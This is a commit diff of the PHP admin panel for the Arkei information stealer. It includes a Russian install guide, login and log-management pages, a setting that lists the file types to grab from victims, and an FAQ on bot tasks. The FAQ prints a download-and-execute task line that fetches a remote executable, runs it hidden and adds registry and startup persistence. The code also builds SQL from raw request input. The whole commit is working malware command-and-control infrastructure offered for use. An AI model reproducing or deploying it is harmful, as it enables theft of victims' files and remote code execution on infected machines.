initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -0,0 +1,17 @@
|
||||
/===========================================
|
||||
_ _ _
|
||||
/_\ _ __| | _____(_)
|
||||
//_\\| '__| |/ / _ \ |
|
||||
/ _ \ | | < __/ |
|
||||
\_/ \_/_| |_|\_\___|_|
|
||||
|
||||
============================================/
|
||||
|
||||
Установка ==================================
|
||||
1. Загрузите содержимое папки web на ftp
|
||||
2. Загрузите sqlite3.dll на какой-либо хостинг с прямой ссылкой к файлу (к примеру github)
|
||||
3. Создайте MySQL базу
|
||||
4. Перейдите по адресу вашей будущей админ-панели, вас перебросит на установщик
|
||||
5. Введите данные от MySQL, адрес вашей панели, логин-пароль админ-аккаунта, название будущей папки для сохранения отчетов Arkei и прямую ссылку по HTTP (HTTPS не поддерживается) к sqlite3.dll
|
||||
|
||||
патч это ообнова с 5.0 до 6.0
|
||||
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
RewriteEngine On
|
||||
RewriteCond %{REQUEST_FILENAME} !-d
|
||||
RewriteCond %{REQUEST_FILENAME}\.php -f
|
||||
RewriteRule ^(.*)$ $1.php
|
||||
@@ -0,0 +1,13 @@
|
||||
<?php
|
||||
|
||||
require("app/config.php");
|
||||
|
||||
$database = mysqli_connect($config["db_server"], $config["db_user"], $config["db_password"], $config["db_name"]);
|
||||
|
||||
$database->query("INSERT INTO `settings`(`Name`,`Value`) VALUES ('grub_files','txt;doc;docx;log;rar;zip;7z;jpeg;jpg;png;bmp;');");
|
||||
|
||||
mysql_close($database);
|
||||
|
||||
header( 'Location: http://'. $config["server_addr"] .'/index', true, 301 );
|
||||
|
||||
?>
|
||||
@@ -0,0 +1 @@
|
||||
deny from all
|
||||
Binary file not shown.
@@ -0,0 +1,239 @@
|
||||
<?php
|
||||
|
||||
function ip_code($ip = FALSE){
|
||||
$geoip = geo_ip::getInstance(dirname(__FILE__) . "/geoip.dat");
|
||||
$ip = $ip == FALSE ? $_SERVER['REMOTE_ADDR'] : $ip;
|
||||
return $geoip->lookupCountryCode($ip);
|
||||
}
|
||||
|
||||
function ip_name($ip = FALSE){
|
||||
$geoip = geo_ip::getInstance(dirname(__FILE__) . "/geoip.dat");
|
||||
$ip = $ip == FALSE ? $_SERVER['REMOTE_ADDR'] : $ip;
|
||||
return $geoip->lookupCountryName($ip);
|
||||
}
|
||||
|
||||
function ip_img_style($ip = FALSE){
|
||||
|
||||
include dirname(__FILE__) . "/config.php";
|
||||
|
||||
$geoip = geo_ip::getInstance(dirname(__FILE__) . "/geoip.dat");
|
||||
$ip = $ip == FALSE ? $_SERVER['REMOTE_ADDR'] : $ip;
|
||||
|
||||
$name = str_replace(" ", "_", strtolower($geoip->lookupCountryName($ip)));
|
||||
|
||||
$rel = array('?', 'afghanistan', 'albania', 'algeria', 'american_samoa', 'andorra', 'angola', 'anguilla', 'antigua_and_barbuda', 'argentina', 'armenia', 'aruba', 'australia', 'austria', 'azerbaijan', 'bahamas', 'bahrain', 'bangladesh', 'barbados', 'belarus', 'belgium', 'belize', 'benin', 'bermuda', 'bhutan', 'bolivia', 'bosnia_and_herzegovina', 'botswana', 'brazil', 'british_indian_ocean_territory', 'british_virgin_islands', 'brunei', 'bulgaria', 'burkina_faso', 'burma', 'burundi', 'cambodia', 'cameroon', 'canada', 'cape_verde', 'cayman_islands', 'central_african_republic', 'chad', 'chile', 'china', 'colombia', 'comoros', 'congo_democratic_republic', 'congo_republic', 'cook_islands', 'costa_rica', 'cote_divoire', 'croatia', 'cuba', 'cyprus', 'czech_republic', 'denmark', 'djibouti', 'dominica', 'dominican_republic', 'east_timor', 'egypt', 'el_salvador', 'england', 'equador', 'equatorial_guinea', 'eritrea', 'estonia', 'ethiopia', 'falkland_islands', 'faroe_islands', 'fiji', 'finland', 'france', 'french_polynesia', 'gabon', 'gambia', 'georgia', 'germany', 'ghana', 'gibraltar', 'greece', 'greenland', 'grenada', 'guam', 'guatemala', 'guernsey', 'guinea', 'guinea_bissau', 'guyana', 'haiti', 'honduras', 'hong_kong', 'hungary', 'iceland', 'india', 'indonesia', 'iran', 'iraq', 'ireland', 'isle_of_man', 'israel', 'italy', 'jamaica', 'japan', 'jersey', 'jordan', 'kazakhstan', 'kenya', 'kiribati', 'kuwait', 'kyrgyzstan', 'laos', 'latvia', 'lebanon', 'lesotho', 'liberia', 'libya', 'liechtenstein', 'lithuania', 'luxembourg', 'macau', 'macedonia', 'madagascar', 'malawi', 'malaysia', 'maledives', 'mali', 'malta', 'marshall_islands', 'martinique', 'mauretania', 'mauritius', 'mexico', 'micronesia', 'moldova', 'monaco', 'mongolia', 'montserrat', 'morocco', 'mozambique', 'namibia', 'nauru', 'nepal', 'netherlands', 'netherlands_antilles', 'new_zealand', 'nicaragua', 'niger', 'nigeria', 'niue', 'norfolk_island', 'north_korea', 'northern_mariana_islands', 'norway', 'oman', 'pakistan', 'palau', 'panama', 'papua_new_guinea', 'paraguay', 'peru', 'philippines', 'pitcairn_islands', 'poland', 'portugal', 'puerto_rico', 'qatar', 'romania', 'russia', 'rwanda', 'saint_helena', 'saint_kitts_and_nevis', 'saint_lucia', 'saint_pierre_and_miquelon', 'saint_vincent_and_the_grenadines', 'samoa', 'san_marino', 'sao_tome_and_principe', 'saudi_arabia', 'scotland', 'senegal', 'serbia_montenegro', 'seychelles', 'sierra_leone', 'singapore', 'slovakia', 'slovenia', 'solomon_islands', 'somalia', 'south_africa', 'south_georgia', 'south_korea', 'spain', 'sri_lanka', 'sudan', 'suriname', 'swaziland', 'sweden', 'switzerland', 'syria', 'taiwan', 'tajikistan', 'tanzania', 'thailand', 'tibet', 'togo', 'tonga', 'trinidad_and_tobago', 'tunisia', 'turkey', 'turkmenistan', 'turks_and_caicos_islands', 'tuvalu', 'uganda', 'ukraine', 'united_arab_emirates', 'united_kingdom', 'uruguay', 'usa', 'uzbekistan', 'vanuatu', 'vatican_city', 'venezuela', 'vietnam', 'virgin_islands', 'wales', 'wallis_and_futuna', 'yemen', 'zambia', 'zimbabwe');
|
||||
|
||||
return "width: {$w}px; height: {$w}px; background: url({$path}) no-repeat scroll 0px -" . (array_search($name, $rel) * $w) . "px transparent;";
|
||||
}
|
||||
|
||||
|
||||
class geo_ip {
|
||||
|
||||
static $COUNTRY_CODES = array("?", "AP", "EU", "AD", "AE", "AF", "AG", "AI", "AL", "AM", "AN", "AO", "AQ", "AR", "AS", "AT", "AU", "AW", "AZ", "BA", "BB", "BD", "BE", "BF", "BG", "BH", "BI", "BJ", "BM", "BN", "BO", "BR", "BS", "BT", "BV", "BW", "BY", "BZ", "CA", "CC", "CD", "CF", "CG", "CH", "CI", "CK", "CL", "CM", "CN", "CO", "CR", "CU", "CV", "CX", "CY", "CZ", "DE", "DJ", "DK", "DM", "DO", "DZ", "EC", "EE", "EG", "EH", "ER", "ES", "ET", "FI", "FJ", "FK", "FM", "FO", "FR", "FX", "GA", "GB", "GD", "GE", "GF", "GH", "GI", "GL", "GM", "GN", "GP", "GQ", "GR", "GS", "GT", "GU", "GW", "GY", "HK", "HM", "HN", "HR", "HT", "HU", "ID", "IE", "IL", "IN", "IO", "IQ", "IR", "IS", "IT", "JM", "JO", "JP", "KE", "KG", "KH", "KI", "KM", "KN", "KP", "KR", "KW", "KY", "KZ", "LA", "LB", "LC", "LI", "LK", "LR", "LS", "LT", "LU", "LV", "LY", "MA", "MC", "MD", "MG", "MH", "MK", "ML", "MM", "MN", "MO", "MP", "MQ", "MR", "MS", "MT", "MU", "MV", "MW", "MX", "MY", "MZ", "NA", "NC", "NE", "NF", "NG", "NI", "NL", "NO", "NP", "NR", "NU", "NZ", "OM", "PA", "PE", "PF", "PG", "PH", "PK", "PL", "PM", "PN", "PR", "PS", "PT", "PW", "PY", "QA", "RE", "RO", "RU", "RW", "SA", "SB", "SC", "SD", "SE", "SG", "SH", "SI", "SJ", "SK", "SL", "SM", "SN", "SO", "SR", "ST", "SV", "SY", "SZ", "TC", "TD", "TF", "TG", "TH", "TJ", "TK", "TM", "TN", "TO", "TP", "TR", "TT", "TV", "TW", "TZ", "UA", "UG", "UM", "US", "UY", "UZ", "VA", "VC", "VE", "VG", "VI", "VN", "VU", "WF", "WS", "YE", "YT", "YU", "ZA", "ZM", "ZR", "ZW", "A1", "A2", "O1");
|
||||
|
||||
static $COUNTRY_NAMES = array("?", "Asia/Pacific Region", "Europe", "Andorra", "United Arab Emirates", "Afghanistan", "Antigua and Barbuda", "Anguilla", "Albania", "Armenia", "Netherlands Antilles", "Angola", "Antarctica", "Argentina", "American Samoa", "Austria", "Australia", "Aruba", "Azerbaijan", "Bosnia and Herzegovina", "Barbados", "Bangladesh", "Belgium", "Burkina Faso", "Bulgaria", "Bahrain", "Burundi", "Benin", "Bermuda", "Brunei Darussalam", "Bolivia", "Brazil", "Bahamas", "Bhutan", "Bouvet Island", "Botswana", "Belarus", "Belize", "Canada", "Cocos (Keeling) Islands", "Congo, The Democratic Republic of the", "Central African Republic", "Congo", "Switzerland", "Cote Divoire", "Cook Islands", "Chile", "Cameroon", "China", "Colombia", "Costa Rica", "Cuba", "Cape Verde", "Christmas Island", "Cyprus", "Czech Republic", "Germany", "Djibouti", "Denmark", "Dominica", "Dominican Republic", "Algeria", "Ecuador", "Estonia", "Egypt", "Western Sahara", "Eritrea", "Spain", "Ethiopia", "Finland", "Fiji", "Falkland Islands (Malvinas)", "Micronesia, Federated States of", "Faroe Islands", "France", "France, Metropolitan", "Gabon", "United Kingdom", "Grenada", "Georgia", "French Guiana", "Ghana", "Gibraltar", "Greenland", "Gambia", "Guinea", "Guadeloupe", "Equatorial Guinea", "Greece", "South Georgia and the South Sandwich Islands", "Guatemala", "Guam", "Guinea Bissau", "Guyana", "Hong Kong", "Heard Island and McDonald Islands", "Honduras", "Croatia", "Haiti", "Hungary", "Indonesia", "Ireland", "Israel", "India", "British Indian Ocean Territory", "Iraq", "Iran", "Iceland", "Italy", "Jamaica", "Jordan", "Japan", "Kenya", "Kyrgyzstan", "Cambodia", "Kiribati", "Comoros", "Saint Kitts and Nevis", "North Korea", "South Korea", "Kuwait", "Cayman Islands", "Kazakhstan", "Lao People's Democratic Republic", "Lebanon", "Saint Lucia", "Liechtenstein", "Sri Lanka", "Liberia", "Lesotho", "Lithuania", "Luxembourg", "Latvia", "Libyan Arab Jamahiriya", "Morocco", "Monaco", "Moldova", "Madagascar", "Marshall Islands", "Macedonia", "Mali", "Myanmar", "Mongolia", "Macau", "Northern Mariana Islands", "Martinique", "Mauritania", "Montserrat", "Malta", "Mauritius", "Maldives", "Malawi", "Mexico", "Malaysia", "Mozambique", "Namibia", "New Caledonia", "Niger", "Norfolk Island", "Nigeria", "Nicaragua", "Netherlands", "Norway", "Nepal", "Nauru", "Niue", "New Zealand", "Oman", "Panama", "Peru", "French Polynesia", "Papua New Guinea", "Philippines", "Pakistan", "Poland", "Saint Pierre and Miquelon", "Pitcairn Islands", "Puerto Rico", "Palestinian Territory, Occupied", "Portugal", "Palau", "Paraguay", "Qatar", "Reunion", "Romania", "Russia", "Rwanda", "Saudi Arabia", "Solomon Islands", "Seychelles", "Sudan", "Sweden", "Singapore", "Saint Helena", "Slovenia", "Svalbard and Jan Mayen", "Slovakia", "Sierra Leone", "San Marino", "Senegal", "Somalia", "Suriname", "Sao Tome and Principe", "El Salvador", "Syria", "Swaziland", "Turks and Caicos Islands", "Chad", "French Southern Territories", "Togo", "Thailand", "Tajikistan", "Tokelau", "Turkmenistan", "Tunisia", "Tonga", "East Timor", "Turkey", "Trinidad and Tobago", "Tuvalu", "Taiwan", "Tanzania, United Republic of", "Ukraine", "Uganda", "United States Minor Outlying Islands", "USA", "Uruguay", "Uzbekistan", "Holy See (Vatican City State)", "Saint Vincent and the Grenadines", "Venezuela", "Virgin Islands, British", "Virgin Islands, U.S.", "Vietnam", "Vanuatu", "Wallis and Futuna", "Samoa", "Yemen", "Mayotte", "Bosnia and Herzegovina", "South Africa", "Zambia", "Democratic Republic Congo", "Zimbabwe", "Anonymous Proxy","Satellite Provider","Other");
|
||||
|
||||
const STANDARD = 0;
|
||||
const MEMORY_CACHE = 1;
|
||||
const SHARED_MEMORY = 2;
|
||||
const COUNTRY_BEGIN = 16776960;
|
||||
const STATE_BEGIN_REV0 = 16700000;
|
||||
const STATE_BEGIN_REV1 = 16000000;
|
||||
const STRUCTURE_INFO_MAX_SIZE = 20;
|
||||
const DATABASE_INFO_MAX_SIZE = 100;
|
||||
const COUNTRY_EDITION = 106;
|
||||
const REGION_EDITION_REV0 = 112;
|
||||
const REGION_EDITION_REV1 = 3;
|
||||
const CITY_EDITION_REV0 = 111;
|
||||
const CITY_EDITION_REV1 = 2;
|
||||
const ORG_EDITION = 110;
|
||||
const SEGMENT_RECORD_LENGTH = 3;
|
||||
const STANDARD_RECORD_LENGTH = 3;
|
||||
const ORG_RECORD_LENGTH = 4;
|
||||
const MAX_RECORD_LENGTH = 4;
|
||||
const MAX_ORG_RECORD_LENGTH = 300;
|
||||
const FULL_RECORD_LENGTH = 50;
|
||||
const US_OFFSET = 1;
|
||||
const CANADA_OFFSET = 677;
|
||||
const WORLD_OFFSET = 1353;
|
||||
const FIPS_RANGE = 360;
|
||||
const SHM_KEY = 0x4f415401;
|
||||
|
||||
private $flags = 0;
|
||||
private $filehandle;
|
||||
private $memoryBuffer;
|
||||
private $databaseType;
|
||||
private $databaseSegments;
|
||||
private $recordLength;
|
||||
private $shmid;
|
||||
private static $instances = array();
|
||||
|
||||
function __construct($filename = null, $flags = null) {
|
||||
if ($filename !== null) {
|
||||
$this->open($filename, $flags);
|
||||
}
|
||||
self::$instances[$filename] = $this;
|
||||
}
|
||||
static function getInstance($filename = null, $flags = null) {
|
||||
if (!isset(self::$instances[$filename])) {
|
||||
self::$instances[$filename] = new geo_ip($filename, $flags);
|
||||
}
|
||||
return self::$instances[$filename];
|
||||
}
|
||||
function open($filename, $flags = null) {
|
||||
if ($flags !== null) {
|
||||
$this->flags = $flags;
|
||||
}
|
||||
if ($this->flags & self::SHARED_MEMORY) {
|
||||
$this->shmid = @shmop_open(self::SHM_KEY, "a", 0, 0);
|
||||
if ($this->shmid === false) {
|
||||
$this->loadSharedMemory($filename);
|
||||
$this->shmid = @shmop_open(self::SHM_KEY, "a", 0, 0);
|
||||
if ($this->shmid === false) {
|
||||
throw new Exception("Unable to open shared memory at key: " . dechex(self::SHM_KEY));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
$this->filehandle = fopen($filename, "rb");
|
||||
if (!$this->filehandle) {
|
||||
throw new Exception("Unable to open file: $filename");
|
||||
}
|
||||
if ($this->flags & self::MEMORY_CACHE) {
|
||||
$s_array = fstat($this->filehandle);
|
||||
$this->memoryBuffer = fread($this->filehandle, $s_array['size']);
|
||||
}
|
||||
}
|
||||
$this->setupSegments();
|
||||
}
|
||||
private function loadSharedMemory($filename) {
|
||||
$fp = fopen($filename, "rb");
|
||||
if (!$fp) {
|
||||
throw new Exception("Unable to open file: $filename");
|
||||
}
|
||||
$s_array = fstat($fp);
|
||||
$size = $s_array['size'];
|
||||
if ($shmid = shmop_open(self::SHM_KEY, "w", 0, 0)) {
|
||||
shmop_delete ($shmid);
|
||||
shmop_close ($shmid);
|
||||
}
|
||||
$shmid = shmop_open(self::SHM_KEY, "c", 0644, $size);
|
||||
shmop_write($shmid, fread($fp, $size), 0);
|
||||
shmop_close($shmid);
|
||||
fclose($fp);
|
||||
}
|
||||
private function setupSegments() {
|
||||
$this->databaseType = self::COUNTRY_EDITION;
|
||||
$this->recordLength = self::STANDARD_RECORD_LENGTH;
|
||||
if ($this->flags & self::SHARED_MEMORY) {
|
||||
$offset = shmop_size($this->shmid) - 3;
|
||||
for ($i = 0; $i < self::STRUCTURE_INFO_MAX_SIZE; $i++) {
|
||||
$delim = shmop_read($this->shmid, $offset, 3);
|
||||
$offset += 3;
|
||||
if ($delim == (chr(255).chr(255).chr(255))) {
|
||||
$this->databaseType = ord(shmop_read($this->shmid, $offset, 1));
|
||||
$offset++;
|
||||
if ($this->databaseType === self::REGION_EDITION_REV0) {
|
||||
$this->databaseSegments = self::STATE_BEGIN_REV0;
|
||||
} elseif ($this->databaseType === self::REGION_EDITION_REV1) {
|
||||
$this->databaseSegments = self::STATE_BEGIN_REV1;
|
||||
} elseif (($this->databaseType === self::CITY_EDITION_REV0) || ($this->databaseType === self::CITY_EDITION_REV1) || ($this->databaseType === self::ORG_EDITION)) {
|
||||
$this->databaseSegments = 0;
|
||||
$buf = shmop_read($this->shmid, $offset, self::SEGMENT_RECORD_LENGTH);
|
||||
for ($j = 0; $j < self::SEGMENT_RECORD_LENGTH; $j++) {
|
||||
$this->databaseSegments += (ord($buf[$j]) << ($j * 8));
|
||||
}
|
||||
if ($this->databaseType === self::ORG_EDITION) {
|
||||
$this->recordLength = self::ORG_RECORD_LENGTH;
|
||||
}
|
||||
}
|
||||
break;
|
||||
} else {
|
||||
$offset -= 4;
|
||||
}
|
||||
}
|
||||
if ($this->databaseType == self::COUNTRY_EDITION) {
|
||||
$this->databaseSegments = self::COUNTRY_BEGIN;
|
||||
}
|
||||
} else {
|
||||
$filepos = ftell($this->filehandle);
|
||||
fseek($this->filehandle, -3, SEEK_END);
|
||||
for ($i = 0; $i < self::STRUCTURE_INFO_MAX_SIZE; $i++) {
|
||||
$delim = fread($this->filehandle, 3);
|
||||
if ($delim == (chr(255).chr(255).chr(255))) {
|
||||
$this->databaseType = ord(fread($this->filehandle,1));
|
||||
if ($this->databaseType === self::REGION_EDITION_REV0) {
|
||||
$this->databaseSegments = self::STATE_BEGIN_REV0;
|
||||
} elseif($this->databaseType === self::REGION_EDITION_REV1) {
|
||||
$this->databaseSegments = self::STATE_BEGIN_REV1;
|
||||
} elseif ($this->databaseType === self::CITY_EDITION_REV0 || $this->databaseType === self::CITY_EDITION_REV1 || $this->databaseType === self::ORG_EDITION) {
|
||||
$this->databaseSegments = 0;
|
||||
$buf = fread($this->filehandle, self::SEGMENT_RECORD_LENGTH);
|
||||
for ($j = 0; $j < self::SEGMENT_RECORD_LENGTH; $j++) {
|
||||
$this->databaseSegments += (ord($buf[$j]) << ($j * 8));
|
||||
}
|
||||
if ($this->databaseType === self::ORG_EDITION) {
|
||||
$this->recordLength = self::ORG_RECORD_LENGTH;
|
||||
}
|
||||
}
|
||||
break;
|
||||
} else {
|
||||
fseek($this->filehandle, -4, SEEK_CUR);
|
||||
}
|
||||
}
|
||||
if ($this->databaseType === self::COUNTRY_EDITION) {
|
||||
$this->databaseSegments = self::COUNTRY_BEGIN;
|
||||
}
|
||||
fseek($this->filehandle, $filepos, SEEK_SET);
|
||||
}
|
||||
}
|
||||
private function lookupCountryId($addr) {
|
||||
$ipnum = ip2long($addr);
|
||||
if ($ipnum === false) {
|
||||
throw new Exception("Invalid IP address: " . var_export($addr, true));
|
||||
}
|
||||
if ($this->databaseType !== self::COUNTRY_EDITION) {
|
||||
throw new Exception("Invalid database type; lookupCountry*() methods expect Country database.");
|
||||
}
|
||||
return $this->seekCountry($ipnum) - self::COUNTRY_BEGIN;
|
||||
}
|
||||
function lookupCountryCode($addr) {
|
||||
return self::$COUNTRY_CODES[$this->lookupCountryId($addr)];
|
||||
}
|
||||
function lookupCountryName($addr) {
|
||||
return self::$COUNTRY_NAMES[$this->lookupCountryId($addr)];
|
||||
}
|
||||
private function seekCountry($ipnum) {
|
||||
$offset = 0;
|
||||
for ($depth = 31; $depth >= 0; --$depth) {
|
||||
if ($this->flags & self::MEMORY_CACHE) {
|
||||
$buf = substr($this->memoryBuffer, 2 * $this->recordLength * $offset, 2 * $this->recordLength);
|
||||
} elseif ($this->flags & self::SHARED_MEMORY) {
|
||||
$buf = shmop_read ($this->shmid, 2 * $this->recordLength * $offset, 2 * $this->recordLength );
|
||||
} else {
|
||||
if (fseek($this->filehandle, 2 * $this->recordLength * $offset, SEEK_SET) !== 0) {
|
||||
throw new Exception("fseek failed");
|
||||
}
|
||||
$buf = fread($this->filehandle, 2 * $this->recordLength);
|
||||
}
|
||||
$x = array(0,0);
|
||||
for ($i = 0; $i < 2; ++$i) {
|
||||
for ($j = 0; $j < $this->recordLength; ++$j) {
|
||||
$x[$i] += ord($buf[$this->recordLength * $i + $j]) << ($j * 8);
|
||||
}
|
||||
}
|
||||
if ($ipnum & (1 << $depth)) {
|
||||
if ($x[1] >= $this->databaseSegments) {
|
||||
return $x[1];
|
||||
}
|
||||
$offset = $x[1];
|
||||
} else {
|
||||
if ($x[0] >= $this->databaseSegments) {
|
||||
return $x[0];
|
||||
}
|
||||
$offset = $x[0];
|
||||
}
|
||||
}
|
||||
throw new Exception("Error traversing database - perhaps it is corrupt?");
|
||||
}
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,69 @@
|
||||
<?php
|
||||
session_start();
|
||||
error_reporting(0);
|
||||
require('app/config.php');
|
||||
|
||||
$login = checkParam($_POST['login']);
|
||||
$password = md5(checkParam($_POST['password']));
|
||||
|
||||
if($_SESSION["auth"] == true)
|
||||
{
|
||||
header( 'Location: http://'. $config["server_addr"] .'/index', true, 301 );
|
||||
}
|
||||
|
||||
if ($login != null & $password != null)
|
||||
{
|
||||
if($config["adm_login"] == $login & $config["adm_password"] == $password)
|
||||
{
|
||||
$_SESSION["auth"] = true;
|
||||
|
||||
header( 'Location: http://'. $config["server_addr"] .'/index', true, 301 );
|
||||
}
|
||||
}
|
||||
|
||||
function checkParam($param)
|
||||
{
|
||||
$formatted = $param;
|
||||
$formatted = trim($formatted);
|
||||
$formatted = stripslashes($formatted);
|
||||
$formatted = htmlspecialchars($formatted);
|
||||
|
||||
return $formatted;
|
||||
}
|
||||
|
||||
?>
|
||||
<!doctype html>
|
||||
<html lang="en-us">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="x-ua-compatible" content="ie=edge">
|
||||
<title>Log in</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
|
||||
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,400i,600" rel="stylesheet">
|
||||
<link rel="apple-touch-icon" href="apple-touch-icon.png">
|
||||
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
|
||||
<link rel="stylesheet" href="css/main.minffaf.css?v=1.4">
|
||||
</head>
|
||||
<body class="c-login-wrapper">
|
||||
<div class="c-login">
|
||||
<header class="c-login__head">
|
||||
<h1 class="c-login__title">Welcome back! Please login.</h1>
|
||||
</header>
|
||||
|
||||
<form method="POST" action="" class="c-login__content">
|
||||
<div class="c-field u-mb-small">
|
||||
<label class="c-field__label" for="input1">Login</label>
|
||||
<input class="c-input" type="text" id="input1" name="login" placeholder="root">
|
||||
</div>
|
||||
|
||||
<div class="c-field u-mb-small">
|
||||
<label class="c-field__label" for="input2">Password</label>
|
||||
<input class="c-input" type="password" id="input2" name="password" placeholder="toor">
|
||||
</div>
|
||||
|
||||
<button class="c-btn c-btn--info c-btn--fullwidth" type="submit">Sign in to Dashboard</button>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Vendored
BIN
Binary file not shown.
Binary file not shown.
Vendored
+6
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,59 @@
|
||||
<?php
|
||||
/*
|
||||
Main Page
|
||||
*/
|
||||
session_start();
|
||||
error_reporting(0);
|
||||
|
||||
require("app/config.php");
|
||||
|
||||
if($config["db_server"] == null)
|
||||
{
|
||||
header('Location: http://'. $_SERVER["HTTP_HOST"] .'/install');
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if($_SESSION["auth"] != true)
|
||||
{
|
||||
header( 'Location: http://'. $config["server_addr"] .'/auth', true, 301 );
|
||||
}
|
||||
|
||||
$logID = checkParam($_GET["id"]);
|
||||
$database = mysqli_connect($config["db_server"], $config["db_user"], $config["db_password"], $config["db_name"]);
|
||||
|
||||
if($database)
|
||||
{
|
||||
if($logID != null)
|
||||
{
|
||||
$log = $database->query("SELECT * FROM `logs` WHERE `id`='$logID';")->fetch_array();
|
||||
|
||||
if($log["id"] != null)
|
||||
{
|
||||
$fpath = "./server/". $config["logs_folder"]."/". $bot["user"]."".$bot["hwid"].".zip";
|
||||
unlink($fpath);
|
||||
|
||||
$database->query("DELETE FROM `logs` WHERE `id`='$logID'");
|
||||
}
|
||||
|
||||
header('Location: http://'. $_SERVER["HTTP_HOST"] .'/index');
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
echo "Can't connect to MySQL";
|
||||
exit(0);
|
||||
}
|
||||
|
||||
mysqli_close($database);
|
||||
|
||||
function checkParam($param)
|
||||
{
|
||||
$formatted = $param;
|
||||
$formatted = trim($formatted);
|
||||
$formatted = stripslashes($formatted);
|
||||
$formatted = htmlspecialchars($formatted);
|
||||
|
||||
return $formatted;
|
||||
}
|
||||
|
||||
?>
|
||||
@@ -0,0 +1,167 @@
|
||||
<?php
|
||||
/*
|
||||
FAQ Page
|
||||
*/
|
||||
|
||||
session_start();
|
||||
error_reporting(0);
|
||||
|
||||
require("app/config.php");
|
||||
|
||||
if($config["db_server"] == null)
|
||||
{
|
||||
header('Location: http://'. $_SERVER["HTTP_HOST"] .'/install');
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if($_SESSION["auth"] != true)
|
||||
{
|
||||
header( 'Location: http://'. $config["server_addr"] .'/auth', true, 301 );
|
||||
}
|
||||
|
||||
|
||||
?>
|
||||
|
||||
<!doctype html>
|
||||
<html lang="en-us">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="x-ua-compatible" content="ie=edge">
|
||||
<title>FAQ | Arkei</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
|
||||
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,400i,600" rel="stylesheet">
|
||||
|
||||
<link rel="apple-touch-icon" href="apple-touch-icon.png">
|
||||
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
|
||||
|
||||
<link rel="stylesheet" href="css/main.min.css">
|
||||
</head>
|
||||
<body>
|
||||
<div class="c-toolbar u-mb-medium">
|
||||
<h3 class="c-toolbar__title has-divider">Profiles</h3>
|
||||
<h5 class="c-toolbar__meta u-mr-auto">Arkei v2.0 | Develop by <a href="https://t.me/foxovsky">@foxovsky</a></h5>
|
||||
|
||||
<a href="/index"><button type="button" class="c-btn c-btn--info u-ml-small" >Logs</button></a>
|
||||
<a href="/profiles"><button type="button" class="c-btn c-btn--info u-ml-small" >Profiles</button></a>
|
||||
<a href="/settings"><button type="button" class="c-btn c-btn--success u-ml-small" >Settings</button></a>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="col-sm-9 u-ml-auto u-mr-auto">
|
||||
<section class="c-article-section">
|
||||
<h1 class="u-mb-large">How to use Tasks</h1>
|
||||
|
||||
<h4>Example Download&Execute Script</h4>
|
||||
<p class="u-mb-medium u-h5 u-text-mute">This task download all type file from remote server, save to input directory, execute file, add this to startup from regedit and create autoload shortcut.</p>
|
||||
|
||||
<code style="padding: 4px 5px; border-radius: 4px; background-color: #EFF3F6; color: #df5000; font-family: $code-font-family; font-size: 16px;">install;http://yourdomain.com/file.exe;file.exe;run;hide;add_to_regedit;create_autoload_shortcut;</code>
|
||||
<br>
|
||||
<br>
|
||||
<table class="c-table u-mb-small">
|
||||
<thead class="c-table__head c-table__head--slim">
|
||||
<tr class="c-table__row">
|
||||
<th class="c-table__cell c-table__cell--head u-border-right">Param</th>
|
||||
<th class="c-table__cell c-table__cell--head">Description</th>
|
||||
</tr>
|
||||
</thead>
|
||||
|
||||
<tbody>
|
||||
<tr class="c-table__row">
|
||||
<td class="c-table__cell u-border-right">
|
||||
<code class="c-code">install</code>
|
||||
</td>
|
||||
<td class="c-table__cell">Task type</td>
|
||||
</tr>
|
||||
|
||||
<tr class="c-table__row">
|
||||
<td class="c-table__cell u-border-right">
|
||||
<code class="c-code">http://yourdomain.com/file.exe</code>
|
||||
</td>
|
||||
<td class="c-table__cell">Full path to file in web</td>
|
||||
</tr>
|
||||
|
||||
<tr class="c-table__row">
|
||||
<td class="c-table__cell u-border-right">
|
||||
<code class="c-code">file.exe</code>
|
||||
</td>
|
||||
<td class="c-table__cell">File name to save in PC</td>
|
||||
</tr>
|
||||
|
||||
<tr class="c-table__row">
|
||||
<td class="c-table__cell u-border-right">
|
||||
<code class="c-code">run / drop</code>
|
||||
</td>
|
||||
<td class="c-table__cell">run - run after download, drop - none</td>
|
||||
</tr>
|
||||
|
||||
<tr class="c-table__row">
|
||||
<td class="c-table__cell u-border-right">
|
||||
<code class="c-code">hide / show</code>
|
||||
</td>
|
||||
<td class="c-table__cell">hide - run app hide, show - rin app show</td>
|
||||
</tr>
|
||||
|
||||
<tr class="c-table__row">
|
||||
<td class="c-table__cell u-border-right">
|
||||
<code class="c-code">add_to_regedit / drop</code>
|
||||
</td>
|
||||
<td class="c-table__cell">add_to_regedit - add to autoload current user, drop - none</td>
|
||||
</tr>
|
||||
|
||||
<tr class="c-table__row">
|
||||
<td class="c-table__cell u-border-right">
|
||||
<code class="c-code">create_autoload_shortcut / drop</code>
|
||||
</td>
|
||||
<td class="c-table__cell">create_autoload_shortcut - create autoload shortcut for current user, drop - none</td>
|
||||
</tr>
|
||||
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h4>Example Open URL Script</h4>
|
||||
<p class="u-mb-medium u-h5 u-text-mute">This task opening your URL in default system browser.</p>
|
||||
|
||||
